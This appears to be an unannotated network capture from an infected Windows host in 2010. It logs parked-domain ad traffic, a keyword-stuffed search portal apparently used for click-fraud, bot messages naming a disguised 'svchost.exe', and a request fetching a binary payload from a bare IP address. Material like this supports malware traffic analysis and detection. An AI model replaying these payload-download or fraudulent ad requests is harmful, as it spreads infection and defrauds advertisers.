VICTIM:  	GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: lowestcosthousing.comConnection: Keep-Alive 
ATTACKER:	GET /?b02de730 HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: lowestcosthousing.comConnection: Keep-Alive 
ATTACKER:	GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: lowestcosthousing.comConnection: Keep-Alive 
ATTACKER:	GET /sd?s=95308&f=1 HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: as.casalemedia.comConnection: Keep-Alive 
ATTACKER:	GET /sd?s=95308&f=1&C=1 HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: as.casalemedia.comConnection: Keep-AliveCookie: CMID=ORlUJUFuq58AAEIqINIAAAA9; CMPS=123; CMPP=025 
ATTACKER:	GET /apps/domainpark/show_afd_ads.js HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pagead2.googlesyndication.comConnection: Keep-Alive 
ATTACKER:	GET /V2/67072/140048/index.html?g=Af//8=&r=lowestcosthousing.com/ HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: cdn.optmd.comConnection: Keep-Alive 
ATTACKER:	GET /images/hdr_parked_ppc_4.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/hdr_parked_ppc_4.png?b02de730 HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/hdr_parked_ppc_4.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /casaleFlash.js HTTP/1.0Accept: */*Referer: http:/cdn.optmd.com/V2/67072/140048/index.html?g=Af//8=&r=lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: cdn.optmd.comConnection: Keep-Alive 
ATTACKER:	GET /images/061703/spc_trans.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/img_parkedfreetext_b.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/img_orangearrows.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/but_search.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/img_gdlogo.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/img_saletag.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/ad_ppc_affiliate.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/tp468x60_5.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/ban_199_3.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/061703/but_go_orange_green.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/dbs_2.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/mrkt_250x80_4.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/tp250x80_5.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/log_me.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/ad_ppc_prodadv.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/ad_ppc_hosting.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/ad_ppc_biz3.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/log_icann.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /pub/shockwave/cabs/flash/swflash.cab HTTP/1.0Accept: application/x-cabinet-win32-x86, application/x-pe-win32-x86, application/octet-stream, application/x-setupscript, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: download.macromedia.comConnection: Keep-Alive 
ATTACKER:	GET /images/img_footertext2.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/bul_blacksquare.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/bul_bluesquare.png HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /imp.gif?c=67072&cr=140048 HTTP/1.0Accept: */*Referer: http:/cdn.optmd.com/V2/67072/140048/index.html?g=Af//8=&r=lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.casalemedia.comConnection: Keep-AliveCookie: CMID=ORlUJUFuq58AAEIqINIAAAA9; CMPS=123; CMPP=025; CMS=95308&1264168747; CMST=S1mvK0tZrysB; CMSC=S1mvKw**; CMDD=AAF0TAE*; CMD1=AAEGAEtZrysAAXRMAAIjEAEBAA** 
ATTACKER:	GET /images/ad_ppc_wst.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /images/ad_ppc_gdauctions.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images-pw.secureserver.netConnection: Keep-Alive 
ATTACKER:	GET /assets/spc_trans.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_toplft.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /get/shockwave/cabs/flash/swflash.cab HTTP/1.0Accept: application/x-cabinet-win32-x86, application/x-pe-win32-x86, application/octet-stream, application/x-setupscript, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Connection: Keep-AliveHost: fpdownload2.macromedia.com 
ATTACKER:	GET /aaa/help/hlp_toprt.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_botlft.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_botrt.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_top.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_sidelft.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_sidert.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
ATTACKER:	GET /aaa/help/hlp_bot.gif HTTP/1.0Accept: */*Referer: http:/lowestcosthousing.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: imagesak.godaddy.comConnection: Keep-Alive 
VICTIM:  	\000\000x\343 
VICTIM:  	\000\000Q\311\000\000\000\007271,1,0 
ATTACKER:	GET /portal.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: search.musicforher.comConnection: Keep-Alive 
ATTACKER:	HTTP/1.1 200 OKDate: Fri, 22 Jan 2010 13:59:34 GMTServer: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.2.12X-Powered-By: PHP/5.2.12Connection: closeContent-Type: text/htmlsearch.musicforher.com Search Portal  
ATTACKER:	 
  
     
ATTACKER:	\t  \t    
\t\t    
ATTACKER:	     \t\t  \t\t  \t\t           
ATTACKER:	\t\t  \t\t  \t\t  \t\t  \t\t  \t\t  
          \t\t    
              
                \t\t\t\t  
                    
search.musicforher.com
                    
                      \t\t\t\t\t                                            
                  
\t\t\t\t		              
            
\t\t  		        
        
          
Internet
          
Home
          
Travel
        
\t\t    
\t\t\t\t\t\tcar  rates
\t\t\t\t\t\tdouble glazing
\t\t\t\t\t\tpropolux bee
\t\t\t\t\t\toars
\t\t\t\t\t\tglobes
\t\t\t\t\t\thalloween plymouth
\t\t\t
\t\t  		\t\t    
\t\t\t\t\t\tdistance education degree
\t\t\t\t\t\tnumber of cloth pegs on a face
\t\t\t\t\t\tanimal stock photos
\t\t\t\t\t\tbankruptcy equity home loan
\t\t\t\t\t\tboy toy
\t\t\t\t\t\tbidet
\t\t\t
\t\t  		\t\t    
\t\t\t\t\t\tdoctor referral
\t\t\t\t\t\tthe virus
\t\t\t\t\t\tdigital picture
\t\t\t\t\t\thead over heals
\t\t\t\t\t\tclarice bean diary
\t\t\t\t\t\tblack and white modern bedroom ideas
\t\t\t
\t\t  		        
        
          
Mortgage
          
Finance
          
Business
        
\t\t    
\t\t\t\t\t\tonline stock broker
\t\t\t\t\t\tjoin here
\t\t\t\t\t\trgpf grenada
\t\t\t\t\t\tmurano glass pendants
\t\t\t\t\t\timesh download
\t\t\t\t\t\trecovers files
\t\t\t
\t\t  		\t\t    
\t\t\t\t\t\tblow up micky mouse
\t\t\t\t\t\thouston in plastic surgery
\t\t\t\t\t\teasyjet promotional code
\t\t\t\t\t\trar files
\t\t\t\t\t\tnatural+breast+enhancement
\t\t\t\t\t\tdrjays uk
\t\t\t
\t\t  		\t\t    
\t\t\t\t\t\tweight gain
\t\t\t\t\t\tairline+ticket+search
\t\t\t\t\t\toverstock
\t\t\t\t\t\twatch extreme hollywood online
\t\t\t\t\t\tlive internet football
\t\t\t\t\t\tairfare cheap
\t\t\t
\t\t  		        
        
          
Loan Quote
          
Online Shopping
          
Insurance
        
        
\t\t    
\t\t\t\t\t\thome hardware canada
\t\t\t\t\t\tcasino baccarat
\t\t\t\t\t\tpen
\t\t\t\t\t\tmandalay bay casino
\t\t\t\t\t\tftd
\t\t\t\t\t\tfinal fantasy 7
\t\t\t
\t\t  		\t\t    
\t\t\t\t\t\tmedical science supplies
\t\t\t\t\t\tblundstones
\t\t\t\t\t\tlily loveless with brown hair
\t\t\t\t\t\tcontainer
\t\t\t\t\t\tsplendour
\t\t\t\t\t\tsensor
\t\t\t
\t\t  		\t\t    
\t\t\t\t\t\tbreakfast table
\t\t\t\t\t\tMediterranean Diet
\t\t\t\t\t\tsteamer
\t\t\t\t\t\tminnie mouse (images)
\t\t\t\t\t\tdirectly
\t\t\t\t\t\tshort curly hair style
\t\t\t
\t\t  		        
          
            
© 2010 search.musicforher.com. All rights reserved.
          
    
 
VICTIM:  	\000\000x\343 
VICTIM:  	\000\000'\263\000\000\000\0262.0_pw1022_svchost.exe 
VICTIM:  	\000\000x\343 
VICTIM:  	\000\000*\272\000\000\000\0262.0_pw1022_svchost.exe 
ATTACKER:	GET /p0111/2.0/w.bin?748364 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 66.96.221.101Connection: Keep-Alive 
ATTACKER:	GET /search.php?terms=casino+baccarat&ref=search.musicforher.com HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/search.musicforher.com/portal.phpAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: search.musicforher.comConnection: Keep-Alive 
ATTACKER:	GET /js/redirect.js HTTP/1.0Accept: */*Referer: http:/search.musicforher.com/search.php?terms=casino+baccarat&ref=search.musicforher.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: search.musicforher.comConnection: Keep-AliveCookie: Search123UKuser=74b9fe25883b5067da8488a999bfdfa7.1264168791 
ATTACKER:	GET /wp-content/themes/v4musicforher/images/logo.jpg HTTP/1.0Accept: */*Referer: http:/search.musicforher.com/search.php?terms=casino+baccarat&ref=search.musicforher.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: musicforher.comConnection: Keep-Alive 
ATTACKER:	GET /js/GetWindowSize.js HTTP/1.0Accept: */*Referer: http:/search.musicforher.com/search.php?terms=casino+baccarat&ref=search.musicforher.comAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: search.musicforher.comConnection: Keep-AliveCookie: Search123UKuser=74b9fe25883b5067da8488a999bfdfa7.1264168791